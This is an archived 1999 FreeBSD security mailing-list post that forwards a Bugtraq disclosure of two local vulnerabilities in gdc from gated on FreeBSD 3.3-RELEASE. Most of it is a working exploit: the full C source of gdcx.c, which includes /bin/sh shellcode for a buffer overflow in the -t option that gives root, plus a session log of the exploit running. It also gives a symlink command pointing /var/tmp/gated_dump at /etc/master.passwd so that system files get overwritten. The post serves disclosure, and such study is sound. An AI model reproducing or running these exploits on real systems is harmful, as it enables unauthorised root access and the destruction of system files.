Date: Wed, 1 Dec 1999 11:24:43 -0500 (EST) From: Bill Fumerola <billf@chc-chimes.com> To: freebsd-security@freebsd.org Cc: freebsd-ports@FreeBSD.org Subject: FreeBSD 3.3 gated-3.1.5 local exploit (fwd) Message-ID: <Pine.BSF.4.10.9912011124010.79469-100000@jade.chc-chimes.com>
next in thread | raw e-mail | index | archive | help
Tada. --=20 - bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp - - ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org - ---------- Forwarded message ---------- Date: Tue, 30 Nov 1999 15:31:06 MST From: Brock Tellier <btellier@USA.NET> To: BUGTRAQ@SECURITYFOCUS.COM Subject: FreeBSD 3.3 gated-3.1.5 local exploit Greetings, OVERVIEW Vulnerabilities exist in gdc in (at least) FreeBSD 3.3-RELEASE which will allow certian users to gain root privs and overwrite system files. BACKGROUND My tests were done ONLY on FreeBSD 3.3-RELEASE with the gated-3.5.11=20 included on the installation CD. By default on FreeBSD (when installed at initial install by /stand/sysinstall), gdc is given permissions as shown: -rwsr-x--- 1 root wheel 23832 Sep 10 23:21 /usr/local/bin/gdc Thus only users in the group 'wheel' may run gdc. =20 DETAILS Vuln #1 /usr/local/bin/gdc contains a buffer overflow that may ONLY be exploited=20 by the group 'wheel'. According to the man page the default group is "gdmaint", but it was not installed this way by default on my system, nor were any instructions given to make a gdmaint group. The overflow comes when gdc is supplied a large -t time option on the command line. Some may scoff at this particular hole, claiming that if you've let a malicious user have/gain wheel privs, things have already gone past the point of no= =20 return. These people are probably right, but in any case, it's worth noting. Vuln #2 /usr/local/bin/gdc allows debugging output to be written to a file in=20 /var/tmp which follows symlinks. This vulnerability can be exploited to overwrite root-owned system files (more of a DoS, since it doesn't change the destination file's perms) regardless of the user who ran gdc. Once again, a normal user without wheel or similar gid cannot run gdc. However a normal user may create the symlinks that a wheel group user's gdc will follow. EXPLOITS buffer overflow as part of the wheel group: $ gcc -o gdcx gdcx.c $ ls -la `which gdc` -rwsr-x--- 1 root wheel 23832 Sep 10 23:21 /usr/local/bin/gdc $ id uid=3D1000(xnec) gid=3D1000(xnec) groups=3D1000(xnec), 0(wheel) $ ./gdcx gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net> eip=3D0xbfbfdb65 offset=3D0 buflen=3D4093 NOPs to 937 Shellcode to 1004 eip to 1008 gdc: invalid wait time: =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=EB5^Y3=C0=89F=F5=83=C8f=89F=F9=8D-=89^ 3=D2R=89V=89V =8DF P=8D P=B8{V4 5@V4 Q=9A>:)(:<=E8=C6=FF=FF=FF/bin/she=DB=BF=BF #=20 ---- gdcx.c ---- /*=20 * gdc exploit for Freebsd-3.3 yields euid=3D0(root) * by default, only group wheel (or whatever your trusted gated group is) * and root can run gdc * Brock Tellier btellier@usa.net */ #include <stdio.h> char shell[]=3D /* mudge@l0pht.com */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; main (int argc, char *argv[] ) { int x =3D 0; int y =3D 0; int offset =3D 0; int bsize =3D 4093; char buf[bsize]; int eip =3D 0xbfbfdb65; /* works for me */ if (argv[1]) {=20 offset =3D atoi(argv[1]); eip =3D eip + offset; } fprintf(stderr, "gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\n"= ); fprintf(stderr, "eip=3D0x%x offset=3D%d buflen=3D%d\n", eip, offset, bsize= ); =20 for ( x =3D 0; x < 937; x++) buf[x] =3D 0x90; fprintf(stderr, "NOPs to %d\n", x); =20 for ( y =3D 0; y < 67 ; x++, y++) buf[x] =3D shell[y]; fprintf(stderr, "Shellcode to %d\n",x); =20 buf[x++] =3D eip & 0x000000ff; buf[x++] =3D (eip & 0x0000ff00) >> 8; buf[x++] =3D (eip & 0x00ff0000) >> 16; buf[x++] =3D (eip & 0xff000000) >> 24; fprintf(stderr, "eip to %d\n",x); buf[bsize - 1]=3D'\0'; execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL); } --------- for symlink vulnerability: ln -s /etc/master.passwd /var/tmp/gated_dump (wait for priv'd user to run /usr/local/bin/gdc dump) Brock Tellier UNIX Systems Administrator Chicago, IL, USA ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.4.10.9912011124010.79469-100000>